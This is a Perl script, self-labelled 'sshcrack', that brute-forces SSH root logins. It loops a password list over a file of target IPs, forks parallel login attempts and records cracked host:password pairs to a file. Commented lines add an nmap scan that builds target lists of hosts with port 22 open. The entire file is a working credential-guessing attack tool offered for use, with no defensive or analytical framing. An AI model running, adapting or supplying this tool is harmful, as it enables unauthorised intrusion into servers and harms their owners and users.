#!/usr/bin/perl -w # #TODO: #SCAN PORT THEN CALL THIS #BUGs: #If responds Net::SSH::Perl->cmd() failed: "Connection closed by remote host" should be in if else #must be able to jump while loop (to next IP!) #If its no *inx Type, and asks directly password it will stop the script! #use strict; #use warnings; use Net::SSH::Perl; use Parallel::ForkManager; my $cmd = "ls"; my $username = "root"; my $passwordfilename = "passwords.txt"; my $passwordfilehandle; my $targetserverfilename = "/scripts/IPs.txt"; my $targetserverfilehandle; my $portnumber = 22; my $maximumprocess = 3; my $forkmanager; my $testedflag; my $processid; my $password; my $targetserver; my $hostname; my $sshhandle; my $starttime; my $stderr; my $cracked; #$starttime = gettimeofday(); $testedflag = 0; my $sleeptime = 0; $forkmanager = new Parallel::ForkManager($maximumprocess); open($passwordfilehandle, "<" . $passwordfilename); while (<$passwordfilehandle>) { $password = $_; $password =~ s/\x0a//g; open($targetserverfilehandle, "<" . $targetserverfilename); while (<$targetserverfilehandle>) { $targetserver = $_; $targetserver =~ s/\x0a//g; $processid = $forkmanager->start() and next; $testedflag = 0; ($hostname, $portnumber) = split(/:/, $targetserver); #print "[sshcrack] Trying " . $username . "@" . $hostname . ": ". $password . "\n"; #Try login $sshhandle = Net::SSH::Perl->new($hostname, port => $portnumber); eval { $sshhandle->login($username, $password); $sshhandle->cmd("echo LOGIN OK!!!!!!!!!!!!!!!"); }; if ($@ ne "") { print "[sshcrack] " . $username . "@" . $hostname . ":" . $password . "\n"; if ($@ !~ /Permission denied/) { print "Net::SSH::Perl->cmd() failed: " . $@; if ($sleeptime > 0) { sleep($sleeptime); } else { $testedflag = 1; } } else { $testedflag = 1; } } else { print "[sshcrack-OK] " . $username . "@" . $hostname . ":" . $password . "/" . $password . ":success\n"; my $str = "[sshcrack-OK] " . $username . "@" . $hostname . ":" . $password . "\n"; open FILE, "+>>", "/scripts/IPs_CRACKED.txt" or die $!; print FILE $str; close FILE; $testedflag = 1; exit(0); #Should jump to next IP or quit program! } $forkmanager->finish(); } # GOES TO NEXT IP ON TARGETFILE close($targetserverfilehandle); } close($passwordfilehandle); $forkmanager->wait_all_children(); exit(1); #Scan() { #nmap -n -sT -p 22 -v -PN --open -oG /tmp/scan.txt $IP #cat /tmp/scan.txt | grep "open" | cut -d '(' -f1 | cut -d : -f2 >> /tmp/IPs.txt #cat /tmp/IPs.txt #rm /tmp/scan.txt #} #my $ssh = Net::SSH::Perl->new($hostname,debug => 1); #,protocol=>'2,1'); #$ssh->login($username, $password); #my($stdout, $stderr, $exit) = $ssh->cmd($cmd); #print "$stdout"; #print "$stderr"; #print "$exit";